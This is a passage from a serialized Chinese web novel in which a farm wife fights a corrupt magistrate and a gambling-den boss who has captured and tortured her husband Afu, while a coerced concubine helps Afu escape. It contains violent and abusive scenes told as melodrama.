他面色一冷,手中的鞭子朝着阿福的身上抽去,皮鞭虽短小,但那威力却不小,抽在赤裸的胸膛上,一鞭便是一道血痕! 一鞭接一鞭,阿福的胸膛上鞭痕交错,郑覃看着眼前血红的躯体,笑容更加的变态和畅快。 阿福疼得着皱紧眉头,脸上也有了冷汗,可却一声不吭,眼神一如既往的冰冷凶狠! “你有种!我倒要看看你能坚持到什么时候!” “你叫啊,只要你叫出声,叫得我满意,我就停手!” 郑覃说着,手里的力道更大了,啪啪的声响听得身后的男宠们胆战心惊。 阿福晕了,脸色苍白毫无血色,胸膛上鞭痕交错,血水顺着胸膛往下流,可即便如此,他却连一个音节都没发出。 郑覃见都打成这样了,那男人居然还不吭声,心里的征服欲望更加强烈。 “给我端盆盐水过来!” 伤口上撒盐,他就不信他还不叫,若是不叫,那就泼醒了继续打! 下人端盐水进来,在郑覃要将一盆盐水往阿福身上泼去的时候,刚才躺在郑覃怀里的男宠突然冲上前,搂住郑覃,语气娇嗔埋怨。 “爷,刚带回来的人,您要留着慢慢玩才好玩,他先是中药,现在又被打了一顿,要是再打的话,估计挺不过今晚了。” “您也不想看您辛苦带回来的绝色就这么轻易就香消玉殒了吧?” 他说着,直接将郑覃手里的盐水给端了过来放下,再依偎进他的怀里,娇俏地靠着,声音温柔缱绻:“爷,我想您了,您今晚就睡在我房里好不好,我新学了个花样,您还没试过呢。” 他那双眼尾上挑的桃花眼中有万种风情,勾得郑覃精虫上脑,一把搂住他的腰肢,低头又亲了他一口。 “行,就听你的,不过不用等晚上,现在就可以!” 男宠一脸娇羞,依靠在他的胸膛上,在郑覃注意不到的方向,眸中闪过一抹恶心与厌恶。 郑覃抱起来他最宠爱的男宠,淫笑着朝隔壁的屋子走去。 身后的其他男宠见状都翻了个白眼,狐狸精,就会使这些手段争宠! 他们也跟随着离开了屋子,屋内便只剩下被捆在柱子上的阿福一人。 昏迷了一会儿,阿福又醒来,见屋内没人,他终于忍不住发出一声闷哼声。 胸膛处的伤口疼得像要将他整个人都撕裂一般,手被反绑在柱子上,早已发麻,快要失去知觉,他用力挣了挣,可郑覃用的是铁链,即便他力气再大,也不能将铁链给挣断。 他有些泄气,焦躁不安,心里满是娘子,不知道她怎么样了。 安静的房间内偶尔传来隔壁的声音,郑覃畅快又变态的大笑,男宠痛苦的哼叫声以及低低的求饶声。 听着这些声音,阿福只觉得胸口的恶心感更甚了,闭了闭眼睛,强迫自己不去听那些乱七八糟的声音。 夜深人静时,房门被推开,阿福警惕地朝着门口的方向看去。 来人点了灯,阿福才看清他的模样,应该是之前隔壁惨叫的那个男宠。 见是他,阿福没什么好脸色,眼里有嫌弃和憎恶。 宋绀宇走到阿福跟前,上下打量他,一脸的骄纵与高傲:“你就是老爷新带回来的男宠?我看也就这身皮子比我好看些,其他哪里比得上我?” “不听话,也不识趣,真不知道老爷看上你哪里了?” “我告诉你,老爷说了,从今以后你就交由我来调教,要将你教得像我一样乖巧贴心,你要是不好好学,我就打死你!” 第86章 “你嫌我脏啊?” 宋绀宇离阿福很近,他可以闻到他身上的脂粉味,他嫌弃地将头给转向另一边,冷声嘲讽:“别拿我和你比,我嫌恶心!” 宋绀宇脸上的尴尬和难堪一闪而过,快到让人发觉不了,只有满脸的娇纵跋扈:“你怎么和我说话呢?我可是郑爷最宠爱的男宠,看我不打死你!” 他说着,抽起桌上的鞭子就朝着阿福抽去,阿福闭上了眼,等待疼痛来袭,可等了许久,耳边只有啪啪的声响,却没有感觉。 他睁眼,错愕地发现宋绀宇居然将鞭子抽在了柱子上。 他边抽边骂:“让你嘴硬!我打到你求饶为止!” 鞭子声响了一会儿,屋外传来一阵渐行渐远的脚步声,直到再也听不到动静,宋绀宇才停下动作。 他看了眼屋外,跑过去将门栓给插上,然后又跑了回来,将手里的鞭子嫌弃地甩开。 他双手抱臂,笑得一脸玩世不恭,与在郑覃面前的妩媚妖娆截然不同。 “兄弟,挺厉害的嘛,被打成这样都不吭声,我叫宋绀宇,你叫什么?” 阿福还没从他这一转变中反应过来,那双透着冰冷和猜疑的眼睛打量着他。 宋绀宇知道他在看什么,挺了挺腰板:“放心吧,我没什么坏心思,就是觉得你骨头挺硬,想和你交个朋友。” 他说着,在怀里掏了掏,掏出一个纸包,将纸包打开,里面是几块糕点, 他将糕点递到阿福跟前,才想起来他的手被绑着,没办法吃,于是拿了一块喂到他嘴边。 阿福没张口,眼神还是盯着他看,眼中的不解更甚。 宋绀宇被他看着,眼中闪过一丝落寞:“嫌我脏啊?也对,是挺脏的,谁不嫌弃呢。” 阿福眉头皱了皱,难得开口解释:“不是。” 虽然只是冰冷没有起伏的两个字,宋绀宇却还是开心的笑了起来。 “那你就是怕我下毒喽?放心,没下毒!” 他说着,往自己嘴里塞了一块,吃完才道:“这下相信了吧?” 再次将一块糕点喂到阿福嘴边,阿福张了口,将糕点吃了进去,他心里清楚,他得保持体力,才能想办法从这里逃出去,去找娘子! 一包糕点吃完了,宋绀宇还给他喂了两杯水,干涩发疼的嗓子终于缓了过来。 宋绀宇没离开,靠着柱子坐在了地上,盯着跳动的烛火发呆,不知道在想些什么。 良久,室内响起一声低哑的声音。 “为什么?” 这是阿福问的,他想不通他为什么要帮他。 宋绀宇静默了一会儿,轻叹一口气,轻声道:“被带到这糟污的后院来的能有几个是自愿的呢,我不过是想看到越来越多的我罢了。” 阿福没回话,他也不管,自顾自的说了下去。 “其实我很佩服你,我要是能像你这么厉害,被打成这样也一声不吭,我大概就不会像现在这样肮脏了吧。” “可是我不行,我怕疼。” 他的语气很平静,可是他的心里却不平静,手不由自主的抓紧了自己的衣摆,手背青筋暴起。 阿福静静的听着他说话,良久后吐出两个字:“阿福。” 宋绀宇沉默,仰头歪着脑袋看她,半晌后才反应过来他是在回答他最开始的问题。 他叫阿福。 他噗嗤一声笑出声,想不到这么个冷峻的男人居然有这么可爱的一个名字。 “谁给你取的名字?还挺别致的!” 阿福如同看不见他的笑,语气终于有了些情绪,自豪傲娇:“我娘子给我取的。” 宋绀宇愣了好一会儿,盯着男人的脸看了好久,随后才捂着肚子笑了起来。 难以想象,这么个硬汉居然是个情种,还是提起娘子就傲娇自豪的那种! 阿福见他笑,不满的蹙眉,嗓音冰冷:“闭嘴!” 娘子取的名字多好听,为什么要笑?讨厌! 宋绀宇强忍住笑意,举手投降:“好,我不笑,我不笑。” 说着不笑,但那嘴角却怎么也放不下来,迎来阿福一个白眼。 话说到丑丫这边,从小巷子出来后,她便直奔县衙跑去。 她是一个再普通不过的农女,没有人撑腰,没有人帮衬,如今这种情况,她能想到的便是报官! 到了县衙门口,她站在鸣冤鼓面前,深吸一口气,拿了鼓槌,敲响了许久不曾响过的鸣冤鼓。 鼓声一声接一声,因为敲鼓的动作,她手腕的伤口传来一阵阵刺痛,好不容易止住的血又开始往外冒,染湿了包扎的布条,染红了鼓槌。 到哪儿都不缺凑热闹的人,即便是县衙门口,路过的老百姓见有人在敲鸣冤鼓,都好奇的凑过来看热闹。 鼓声响了许久,县衙的大门终于被打开,出来了一个官差。 官差满脸的倦意,有些不耐烦的看了丑丫一眼:“你为何敲鸣冤鼓啊?” 丑丫放下鼓槌,跪在了地上:“民妇要状告神威赌坊老板郑覃压榨百姓,私收保护费,还强抢民妇相公!” “民妇请求官爷做主,到赌坊救出民妇相公!” 官差一听她要状告的人,眼睛都瞪大了,一脸看疯子一样的看着她。 他掏了掏耳朵,不敢置信地问道:“你说你要告谁?” 丑丫一字一句,高声回复:“神威赌坊郑覃!” 那官差往后一个趔趄,像赶脏东西一样赶她走:“走走走,没事儿瞎敲什么鸣冤鼓,再有下次让你挨板子!” 说完话,官差一脸晦气的将大门给关上了。 关上门,他脚步飞快的朝县衙内走去,要去找兄弟们分享这个笑话。 居然有人敢告神威赌坊的老大!好笑! 谁不知道那郑覃是出了名的地头蛇,连他们官差拿他们都没办,再说了,郑覃和县太爷交好,每年给县里教不少的税银,就凭这一点,县太爷也会保他! 丑丫看着合上的大门,苍凉一笑,这就是所谓的为民办事的官吗? 她抹了一把眼泪,眼眸中的坚毅更甚,拿起鼓槌,再次敲响了鸣冤鼓。 鼓声中,少女冷厉坚定的声音传出:“我要状告郑覃,收取保护费不成,就强行扣押了我相公!” “官府不作为,与地痞勾结,欺压百姓,这还有没有天理,有没有王法!” 她的字字句句如同杜鹃啼血,听得围观的百姓不免对官府愈发的心寒。 第87章 她要烧了赌坊 早知道县太爷不是个清官,可如今人都告到县衙门口了,他们居然还装作看不见,何等可悲! 丑丫手腕上的血流得更多了,但她还是一下又一下敲着鼓,围观的老百姓越来越多,将县衙门口给包围。 她要将这件事闹大,让官府迫于百姓压力出手! “郑覃卑鄙歹毒,向我们夫妻索要四十两的保护费,对我相公下药,迷晕了他,还想将我也给抓走,我好不容易才逃出来。” “都说老百姓遇到了困难找官府,我找了,可是官府居然闭门不理,这是什么道理!” 老百姓的情绪被丑丫满手鲜血,字字涕泪的样子给调动了起来,他们早就对官府不满了,如今有了个导火索,情绪一瞬间爆发。 “对!给个说法!” “开门!别当缩头乌龟,给个说法!” 人群嘈杂喧闹,声声呼喊震天响,其中不乏被神威赌坊收过保护费的店家。 他们群情激奋,有的甚至老泪纵横,被赌坊压榨这么多年,他们交了不少的保护费,那可是他们的血汗钱啊! 他们也不想交,可是不交就被砸店、被打,他们怕了,他们没有本事与赌坊的人对着干。 如今终于有人站出来反抗这种压迫,他们也鼓起勇气想来助一臂之力,可没想到等到的却是这种结果! 老天无眼,官府瞎了眼! 县衙门口的声势越来越大,躲在县衙里当瞎子、当聋子的县太爷给坐不住了,这事儿要闹大了,会影响他以后的官途。 但真要按那些贱民的说法处置了郑覃,这也是万万不能的,一是郑覃手里的势力不小,与他对着干,他也捞不到好处。 二就是郑覃每年都给孝敬不少的银子,不然,只靠他那点俸禄,他哪能过上现在这样的生活! 思及此,他权衡利弊,最终做出了决定,喊来了几个衙役。 “去,将门口闹事的刁民都给我赶走,抓几个闹的厉害地惩戒一下,杀鸡儆猴,要是还敢来闹事,那就抓到牢里关几天!” 衙役们领命,立马拿着杀威棒,气势汹汹地朝着门外走去。 百姓们对官府的不满已经上升到了极点,一些情绪激动的已经跑到了县衙大门前,拍门、踹门。 咯吱一声,县衙大门被从里打开,冲出一群拿着杀威棒的衙役,他们凶神恶煞,手中的杀威棒不长眼一般朝着拍门、踹门的人身上打去。 人群见状,发出一声声惊呼,立马惊恐地四处逃窜,有几个被打中了腿,跑不了,只能蜷缩在地上抱着腿喊疼。 “你们这群刁民,不给你们点颜色瞧瞧就反了天了?县太爷说了,你们这是诬告!谁要再敢来闹事,就住抓进去蹲大牢!” 百姓们吓得头也不敢回地逃跑,刚才的愤怒此时也只剩下了害怕,他们是官,而他们只是民,他们拿什么和官府斗! 丑丫手里还握着鼓槌,看着眼前这一幕,心沉入了谷底,愈发的苍凉。 官?他们可真是好官! 一个衙役注意到站在鸣冤鼓前的她,上下打量一眼,随后便藐视地嗤笑一声:“嗤,就是你这不知天高地厚的女人要告神威赌坊?我劝你还是收了这份心思吧,别到时候怎么死的都不知道!” “将她给我拖走!” 他发号施令,立马有两个衙役上前,一左一右架住丑丫的两条胳膊,将她给拖离县衙门口,最终扔在了大街上。 丑丫被摔在了地上,屁股摔得生疼,可她却如同感觉不到一般,麻木呆滞地看着县衙的方向。 比起身上的疼,她此时心更疼! 她的阿福该怎么办?她要怎样救她的阿福? 她将最后的希望压在了官府,可是得到的却是这么可笑的结果! 可笑!可悲!可恨! 她的情绪在这一刻再也憋不住,害怕、担忧、委屈、愤怒交织在一起,化为了喷涌而出的眼泪。 她瘫坐在地上嚎啕大哭,周围路过的人只敢远远地看一眼,即使有同情她的,却没人敢上前安慰她。 天很快便转黑了,街道上空无一人,丑丫活动着麻木的腿,从地上爬起来,如同一具行尸走肉一般在街道上行走着,没有灵魂,没有思想! 她要救阿福!拼了命也要救她的阿福! 脑中回荡着这个想法,她加快了脚步,很快身影便消失在夜色中。 神威赌坊门口 即使已经是深夜,赌坊内却依旧人声鼎沸,混乱的人群中,混入了一抹娇小的身影。 她穿的很严实,脸也用帕子遮挡住,头上带了帽子,低着脑袋,悄无声息地混入赌场,沉迷于赌钱的人群并未注意到她。 今日神威赌坊打手严重折损,死伤了一半还多,所以守备格外松懈。 丑丫走到无人的角落,将衣服里藏着的东西掏出来,一个小瓷瓶,打开瓶口的塞子,把里面的液体往易燃的桌布、柱子、窗棂上淋去。 火折子往淋了东西的物体上扔去,火势瞬间扩大,那液体是油,她要烧了赌坊! 突然烧起来的大火终于引起了赌桌众人的注意,他们惊叫一声,立马从赌桌前一哄而散,有去救火的,也有撒丫子逃跑的。 “着火了!着火了!” 人群中不断有人呼喊,赌场内人头攒动,变得喧闹起来,丑丫趁乱跑进了赌坊的后厅,去寻找阿福。 她不知道阿福被关在哪里,只能像无头苍蝇一样到处找,找的同时在顺便点火,火点越来越多,赌坊的人心力交瘁、手忙脚乱,恨不得自己能长出三头六臂。 眼看整个赌场就要陷入烈火中,丑丫还是没找到阿福的身影,她顾不得那么多,在后厅里喊了起来。 “阿福!你在哪儿?我来救你了!” “阿福!” 一声接一声的喊,没等来阿福的回应,但却被赌坊的人发现了! “原来是你这娘们放的火!” 男人暴怒的声音传来,丑丫警惕看过去,是那个叫虎爷的男人。 他今天受了伤,此时一条胳膊被包扎着挂在脖子上,另一只手还拎着他的巨斧。 他暴喝一声,举着斧子朝丑丫砍去:“老子剁了你!” 丑丫转身便往外跑,手伸进衣襟里摸索,又摸索出一个小瓷瓶,估计着身后男人与她的距离,打开瓷瓶,准备将里面的东西撒到他身上。 第88章 让他像狗一样摇尾乞怜 她故意放慢了步子,在虎爷的斧子即将劈到她后背之际,她一个灵敏的转身,躲到了他的侧边,再顺势将瓷瓶里的东西撒到了他手上的胳膊上。 血红的水撒到了虎爷的胳膊上,那是丑丫用清水稀释过的血水,她试过了,即便稀释过,依旧有剧毒! 虎爷见那女人躲过了一劫,不满的举起斧子准备第二次出击,可是举起的斧子还没能劈出去,他突然就觉得五脏六腑一阵剧痛,那斧子的手瞬间无力,斧子掉落,砸到了他自己的脚上,砍断了一根脚趾。 他凄厉的惨叫,直接摔倒在地上,可是此时断脚趾的痛却赶不及他的五脏六腑被腐蚀一般的疼痛。 他在地上挣扎抽搐,像一条蛆一般扭曲爬行,承受不住剧痛,手指抓在地上,抓出一条条血印子。 在剧烈的疼痛中,他慢慢失去意识,乌黑的血水从嘴角流出,最终彻底没了呼吸。 丑丫长长舒了一口气,但还来不及松懈就来人了! 两个赌场的打手听到虎爷的惨叫声,连忙赶了过来,进入后厅便看到虎爷满脸乌青、口冒黑血地倒在地上。 看到这里,他们哪儿还不明白,那个妖女来了! 今天不少的弟兄都是被她的妖术给害死的! 他们对上丑丫的眼神,愤恨得咬牙切齿,可却又畏缩不敢上前,她要是对他们施展妖术,也让他们莫名其妙就死了怎么办? 丑丫见这两人怕她,找准时机,抓起地上的一个凳子就朝他们砸去,在他们闪躲的时候,趁机往外面逃。 那两人虽然怕她,但却紧追不舍,嘴里大喊大叫:“抓妖女!抓妖女!” 正在救火的弟兄们瞬间慌乱起来,本来还算有秩序的场面也变得兵荒马乱。 今天弟兄们口吐黑血的场景还历历在目,他们到现在也没想明白那女人到底使了什么手段残害了他们那么多弟兄。 丑丫四处逃窜,身前身后都有围堵的人,火势还在继续扩大,但赌场的人却搞不清楚到底是该先灭火还是先抓妖女。 场面愈发的混乱了,丑丫见地上有一桶水,里面还有一个瓢,当即拿出匕首,在自己的掌心划了一刀,手掌浸入水中,片刻,清澈的水被染得血红。 面对靠近她的人,她舀一瓢水便往他们身上泼去,这些人今天都或多或少受了伤,只要伤口沾染上毒血,便只有中毒身亡的下场。 慌乱中的赌场打手还没反应过来便被浇了一瓢水,顿时他们的心都凉了一截,脚软得快要站不住。 他们已经总结出了规律,那妖女施展妖术前都会放血,沾上她的血,他们必死! 她不仅是妖女,她还是个巫婆,会巫术! 战战兢兢之际,被泼了水的打手也出现了中毒的征兆,片刻后就倒地不起,其余人更慌了! 丑丫拎着一桶血水逃跑,赌场的人都畏惧她,不敢跟得太近,但也不能放任她逃跑,一追一逃,便跑到了赌场外。 郑覃私宅后院内 天还未亮,宋绀宇又来了阿福房中,给他带了吃的,还给他带了金疮药,不到一夜的功夫,两人也熟悉了起来。 他先给阿福的伤口抹了金疮药,然后喂他吃东西。 还是糕点,郑覃是不给阿福吃饭的,这些都是宋绀宇偷偷带来的,要是被发现了,他们俩都没好下场。 糕点才吃下两块,房门却突然被推开,郑覃从门口处阔步走了进来。 宋绀宇手一抖,心跳如擂鼓,脑子迅速一转,当即做出了反应。 他将手里的那包糕点直接拍在了阿福脸上,表情一如在郑覃面前表现的那样跋扈娇纵。 他恶狠狠道:“给你脸了?好心给你吃东西你居然还不吃!行啊,我看你能饿到什么时候!” 放着狠话,他还将手里的糕点纸包在阿福脸上碾了碾,糊了他一脸的糕点渣子。 郑覃进来看到宋绀宇喂那人吃东西还有些不满,但现在见这情况,他的心情又好了。 就是要这样折磨他、凌辱他,将他的骄傲按在地上摩擦,将他的一身傲骨给碾碎,让他在他面前只能像狗一样摇尾乞怜! 他笑着走过去,一把搂过宋绀宇,手在他身上上下揩油,那语气听得人恶寒:“是谁把我的小甜心惹得这么生气?” 宋绀宇强忍着恶心想吐的冲动,妖娆地依偎在他怀里,语气矫揉造作:“还不是您带回来的这个绝色,我怕他饿死了,害得爷您白辛苦一场,所以好心给他点吃的,他居然还不吃!” 郑覃扫了眼柱子上捆着的男人,一晚过去,除了脸色苍白些,虚弱些,但那冷峻的气势和拒人于千里之外的寒意还是一如既往! 他唇角勾起一抹冷笑,心里那种想要凌虐人的念头愈发的浓烈。 他松开了宋绀宇,在他耳畔亲了一口:“既然小甜心这么生气,那就看好了,我给你报仇!” 说完,他从桌子上拿起那块烙铁,上面刻有一个“奴”字,将烙铁扔进火盆中,烧得通红。 这样的烙铁印在人身上,可想而知会有多疼,以往他调教男宠时,从来没有人能坚持过这一关。 阿福牙关咬紧,并未有惧意,只有滔天的怒意和杀气! 宋绀宇拳头握紧,心中挣扎过后,他跑上前搂住郑覃的腰,用自己最嫌弃、最恶心的语气说话。 “爷,我害怕,我不想看那么血腥的场景,而且他那么凶,我看着更害怕了,您跟我回房好不好,我好好伺候您。” 郑覃不为所动,他咬了咬牙,豁得出去,将手探进他的衣襟撩拨着:“爷,您就依了我嘛,人家想你了,我今天一定听话,您想怎么玩就怎么玩~” 听着身边人的温言软语,胸膛处有一只手在挑弄撩拨,郑覃的兴趣被勾了起来,难得他这么主动,他便依他一回。 “好!都依你,但可要记住你说的,一会儿别求饶哦。” 看着郑覃脸上猥琐的笑,宋绀宇恶心得反胃,但却只能娇笑着,埋头进他的胸膛里装作娇羞样。 郑覃将手中的烙铁扔回了火盆,拽着宋绀宇往隔壁的房间走去。 隔壁又传来了之前那些不堪入耳的声音,但今天,宋绀宇的惨叫声更甚了,阿福听着,手臂上的青筋暴起。 隔壁的声音持续了约莫两刻钟,门口处响起下人的禀报声。 “爷,赌场的人来报,赌场被人烧了!” 第89章 宋绀宇偷了钥匙 不一会儿隔壁便传来了郑覃出门的声音,阿福挣扎得更厉害了,可尽管他依旧使劲全力,还是没能将铁链给挣开。 他肯定,赌场是娘子烧的,她去救他了! 可是她一个小姑娘,怎么可能打得过赌场的一群壮汉,他越想便越着急,因为用力,身上的鞭痕再次裂开,血止不住地流,脖颈上的青筋也一根根翻起。 若郑覃在他跟前,他估计会活活将人给咬死! 门又被推开,进来的还是宋绀宇,只不过比起刚才,他现在显得狼狈不堪。 他皮肤很白,此时脖子上是一个青紫的指印,很明显是被人用力掐脖子留下的。 郑覃喜欢让他穿轻薄的纱衣,透着轻纱能隐约看清里面的皮肤,上面也布满青紫和血痕。 他的唇也破了,唇角挂着血,脸色苍白,像一个被人疯狂蹂躏的破布娃娃。 他踉跄着,脚步有些蹒跚,走到阿福身前,见阿福盯着他看,他自嘲一笑:“是不是恶心到你了?” 阿福没回答,只是看着他伤痕累累的模样,心中的怒气更甚,既是恨郑覃,也是恨他自己。 他明白,宋绀宇是为了救他才故意与郑覃虚与委蛇的,但正因为是这样,他的无力感更强了。 半晌后,他冷冰冰又别扭地开口:“我不需要你管,顾好你自己就行了!” 宋绀宇勾唇一笑,笑容扯得他嘴唇上的伤口发疼,小声地“嘶”了一声。 “还不是看你长得好看,郑覃那老狗东西要是得手,就太便宜他了,不然你以为我愿意搭理你?” 阿福见他还有心思和他开玩笑,稍稍放心了一些,也不再搭理他,他此时心情烦躁得很。 他思绪万千之际,却见宋绀宇从怀中掏出一把钥匙,插进了困住他的铁链的锁里。 阿福不由微微怔愣:“你这是” 宋绀宇的语气是那样的波澜不惊,好像帮他逃走不过是一件不痛不痒的小事。 “刚才从那个老狗东西的身上摸来的,赶紧走吧,郑覃带人去赌场了,现在是你逃跑最好的时机。” 锁链解开,他给阿福扔了一个外套穿上,之后催促他赶快走。 阿福往门口的方向走了几步,又转身道:“你和我一起走,我能带你出去。” 只要他得了自由,那些人便不能拿他怎样,带走宋绀宇并不是难事。 宋绀宇苦涩一笑,摇了摇头:“你走吧,我不能走,我得留在这儿。” 阿福不解地蹙眉:“为何?” 他能感觉得到,他对郑覃恨之入骨,可为何还要留在他身边? 宋绀宇深吸一口气,强颜欢笑,让自己看起来不那么难过:“我家人在他手上,我走了,他们就活不了了。” 被困在这座宅子里三年,他有无数次机会可以杀了郑覃,可杀了他的结果便是他的家人也没了活路,他不得不日日夜夜忍受着屈辱,去迎合那个让他作呕的人! 阿福沉默了片刻道:“你若信我就跟我走,我会帮你救出你家人。” 他承了他的恩情,自然也会拼尽全力去帮他。 宋绀宇心神一颤,他抬眸看向阿福,那双勾人的桃花眼里满是泪水:“真的吗?” 这是三年来,唯一一个对他这么说的人,他真的可以救他的家人吗? 阿福点头,语气很认真:“真的!” 他并不是自大,若不是这次对那个老太太没防备,遭了毒手,就凭郑覃的那些手下,还没有本事抓住他。 宋绀宇破涕为笑,重重地点了点头,抬脚便跟上他的步伐。 虽然和阿福认识的时间不长,但是他身上的那股气势让人不得不信服,他是个有本事的人,不然不会让郑覃的手下折损一半之余才堪堪抓住他。 两人出了房间,宋绀宇带路朝着后院外走去,此时天已经蒙蒙亮,宅院里的人也陆续地醒了。 即将跑出后院之际,却见一个男宠推门而出,与他们正面撞上。 男宠刚睡醒,见眼前这一幕,不敢置信地瞪大眼睛,随即便大声喊叫起来。 “来人啊!人跑了!宋绀宇把人给放跑了!” “快来人啊!” 这个男宠平时与宋绀宇不对付,见不得他被郑覃宠,现在抓到他的错处,整个人都激动了起来,喊叫声破了音,像一只尖叫的公鸭。 宋绀宇气不过,一脚便踹了过去,那男宠忙喊叫,一时不注意,直接被踹了个狗啃泥,趴在地上起不来。 阿福也趁机补了一脚,一脚下去,人便已经昏迷了,再也发不出声音。 宋绀宇佩服地朝阿福竖了个大拇指,崇拜之言还没说出口,就被阿福拎小鸡仔一样拎着走了。 下人们来得很快,两人刚走出后院,一群下人便已经闻声赶了过来。 阿福从怀里掏出他的软鞭,将宋绀宇藏到一个安全的角落里,手中的鞭子便朝着下人们挥去。 私宅里的下人还不如赌场那些花拳绣腿的打手,这些就是些手无缚鸡之力的做杂活的下人,哪里能承受得住阿福的鞭子,没一会儿的功夫,就已经倒了一片。 而此时,赌坊门口 丑丫已经逃出了赌场,但是却被赌场的人给团团包围。 她手里还拎着那只装满血水的桶,赌坊的人惧怕她身上的诡异,不敢轻易上前,但却也守着不走,双方陷入僵持状态。 丑丫有些力竭,但却咬牙坚持着,手腕、掌心的伤口传来一阵阵钻心的疼,让她的头脑保持清醒。 现在她已经确定,阿福不在赌坊里,肯定是被郑覃带到别的地方去了,她得先想办法逃出去,才能有机会再去救阿福。 她看准了一个身上受了伤,长得瘦小的男人,对比其他人,他的实力是最弱的,只要她从他这儿下手,将包围圈撕出一个口子,就有机会逃出去。 在众人迟迟不见她出手,有些松懈之际,她猛的朝着瘦小男人的方向奔去,一瓢血水撒出,速度之快,他们想躲避已经来不及,瘦小男人附近的几个人或多或少都沾染上了血水。 他们惊恐的大叫,即使身上还没出现中毒的反应,却还是控制不住惊慌失措的大叫。 他们要死了!沾染上妖女的血的人,没有一个是能活下来的! 趁他们慌乱,丑丫像一阵风一般冲了过去,手里的瓢直接砸在瘦小男人的脑袋上,砸得他头破血流,然后一把推开他,冲出了包围圈! 第90章 被吊在城楼上的女人 丑丫扔掉了手里的水桶,不要命地逃跑,可却突然听到一阵箭矢飞出的破空声,紧接着,她的左小腿剧烈一痛,一只弩箭居然插入了她的小腿里! 剧痛让她的身体失衡,重重摔在了地上,她苍白着脸回头看,就见郑覃手里握着一把小巧的弓弩,弩的方向对准她,脸上带着变态又阴毒的笑。 他朝她走来,在还有三尺左右距离的时候停下,居高临下打量着她:“还真是小看你了,一个女人也能烧了我的赌坊,让我折损这么多人,你说,我应该怎么惩罚你才好?” 丑丫对着他呸了一声,尽管疼得一张脸毫无血色,但却没有一丝畏惧的神色。 “放了我家阿福,不然,我做了鬼也不会放过你!” 郑覃还没遇上过这么硬骨头的女人,初见觉得这女人丑得不堪入目,但现在看来,这身硬骨头还是挺有意思的,和那男人很像。 他轻笑一声,语气带着嘲弄:“放了他?我还没玩够呢怎么可能放了他!我告诉你,他被我捆在柱子上,鞭子一鞭一鞭地抽,那身上啊,都是血淋淋的鞭痕!” 他每说一个字,丑丫便控制不住地想到那个画面,心疼得要滴血,那是她的阿福啊,他怎么能那么对他! 郑覃见她生气了,愈发地得意:“我不仅抽他,我还用烙铁烫他,烧红的烙铁烫在他身上,刺啦一声,还带着糊味儿!” “我要杀了你!” 丑丫不敢在想象阿福被折磨的画面,她拖着那只受伤的腿向前爬,身上斑驳的血迹让她像一只恶鬼,就连猩红的眼眶里流下的泪也如同血泪! 郑覃后退了几步,不让她靠近,这女人身上有古怪,他还是挺忌惮的。 身后的手下也对这个女人恨之入骨,不过是一个不起眼的丑女人,居然要了他们这么多兄弟的命! “郑爷,要不我去剁了她!” 一个凶狠的打手挥了挥手里闪着寒光的大刀,恶狠狠道。 郑覃摆手,又阴恻恻地邪笑起来:“剁了她多没意思,这么有趣的人,当然是要留着慢慢折磨! 他目光一转,视线停留在丑丫的红色胎记上,脸上浮现变态的笑容:“找几个人去,把她捆了吊城楼上,这么特别的脸,可要让人好好看看!” “是!” 手下应声,也跟着邪笑起来,论折磨人,还是他们郑爷有手段! 吩咐了四个人,他们将丑丫给捆了,拖着往城楼的方向走去。 郑覃私宅 阿福带着宋绀宇一路神挡杀神,佛挡杀佛,后院内的血腥味逐渐浓重。 府里的下人们根本拦不住他们,最后为了保命,只能四处躲藏,阿福便带着宋绀宇明目张胆地走出了宅院。 宅院内有马,阿福和宋绀宇各抢了一匹马朝着赌坊的方向疾驰而去。 此时天已经大亮了,镇上已经有了不少早起出门的人,平时,这些人都在忙活自己的事,今天却都三三两两地朝着城楼的方向走去。 去干啥?当然是去看热闹! 听说城楼上挂了个人,还是个女人,他们要去看看到底是怎么一会儿事儿。 阿福骑在马背上疾驰,耳边是呼呼咆哮的风声,但路过人群时,他们七嘴八舌的交谈声还是落入他的耳中。 “我刚刚去看了,挂在城楼上的是个小姑娘,身上血糊糊的,那脸上还有老大一个胎记!” “哎哟,造孽了,这小姑娘咋就得罪那些地痞了呢?” “你们不知道吧,我都去打听清楚了,那姑娘是个面馆的老板,那些地痞去收保护费,她不交,连相公都叫人家赌坊的人抓走了!” 一群人七嘴八舌聊得好不热闹,见一人骑着马从他们身边飞驰而去,他们还往边上避了避,继续交头接耳。 但那匹飞驰而过的马却停下来了,马背上的男人拉紧缰绳,马的前蹄腾空而起,场面惊人。 马停下,马背上的男人轻松一跃而下,大步朝着他们走来,几个说闲话的人都惊得呆呆地看着迎面走来的人,一时间不敢说话。 阿福走到几人跟前,情绪有些激动,他揪住一个男人衣领,单手将他给拎了起来:“你们刚刚在说什么?” 他眼神凶狠得像一头野兽,男人被他吓得哆哆嗦嗦,越发不敢开口。 阿福急了,收紧了手,语气也加重:“我问你,你们刚刚说城楼怎么了?吊了一个人?吊的人是谁?” 男人快要吓哭了,赶忙结结巴巴回道:“吊吊了个女人,那女人脸上有一大片胎记。” 阿福闻言,心狠狠地颤了一下,手松开男人,来不及多说什么,一个飞身上了马,狠狠地抽了马一鞭子,朝着城楼的方向飞奔! 娘子! 他的娘子居然被吊在了城楼上,郑覃他是怎么敢的,不要了他的命,他不是男人! 宋绀宇的马术没有阿福好,跟不上他的速度,只能一路紧赶慢赶,追随着阿福而去。 阿福来到城楼下时,看到那景象,他的心跳都快停止了! 城楼下站了不少的人,他们都仰着头向上看,时不时热烈地讨论些什么。 阿福仿佛失聪了一般,那些人嘈杂的声音他一个字都听不到,眼神只停留在那抹被吊着的小巧身影上。 丑丫被人捆住了两只手,用绳子吊在了城楼上,供下面的人观赏。 她衣服上沾染了不少的血,都是手上的伤口流的,但此时已经干涸了,看上去血迹斑驳,小腿处还插着一根弩箭,裙摆处更是有一大片血迹。 她脸色苍白如纸,眼睛睁着,麻木地看着城楼下的人对她指指点点,耳边的声响从最开始的清晰的交谈声,变成了听不清任何内容的嗡嗡声。 突然,她的目光与一道炽热又心疼的眼神对上,刹那间,她虚弱的面容扬起一抹笑,发自心底的笑。 那是她的阿福啊! 阿福看到娘子在对着他笑,心疼得发苦,恨自己为何就不能再强大一点! 人群中还有四个赌坊的人,他们在引导群众对丑丫谩骂侮辱,笑声猖狂又恶毒,将自己的快乐建立在别人的痛苦上。 “大家快看看,这百年难得一遇的丑女人,错过了今天,下次想看可就看不到了!” 赌坊的一个打手大声吆喝着,围观的群众闻言都忍不住哄笑起来,抬头继续打量被吊着的女人。 